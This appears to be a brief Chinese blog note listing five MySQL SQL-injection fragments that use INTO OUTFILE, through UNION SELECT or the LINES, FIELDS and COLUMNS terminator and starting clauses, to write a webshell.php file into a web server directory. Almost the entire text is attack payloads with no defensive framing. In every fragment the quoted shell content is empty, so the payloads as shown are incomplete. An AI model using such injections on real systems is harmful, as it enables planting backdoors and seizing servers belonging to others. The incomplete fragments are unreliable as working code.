知识积累--sql注入写shell

简单记一下看见的五种写有sql注入的情况下如何写shell

原文链接：https://manning23.github.io/2019/07/23/MYSQL%E5%AD%98%E5%9C%A8%E6%B3%A8%E5%85%A5%E7%82%B9%EF%BC%8C%E5%86%99WebShell%E7%9A%845%E7%A7%8D%E6%96%B9%E5%BC%8F/

1.    union select 1,2,3,4,'' into outfile 'C:/wamp64/www/work/webshell.php'

2.    into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '';

      limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '';

3.    into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '';

       limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '';

4.    into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '';

       limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '';

5.    into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '';

       limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '';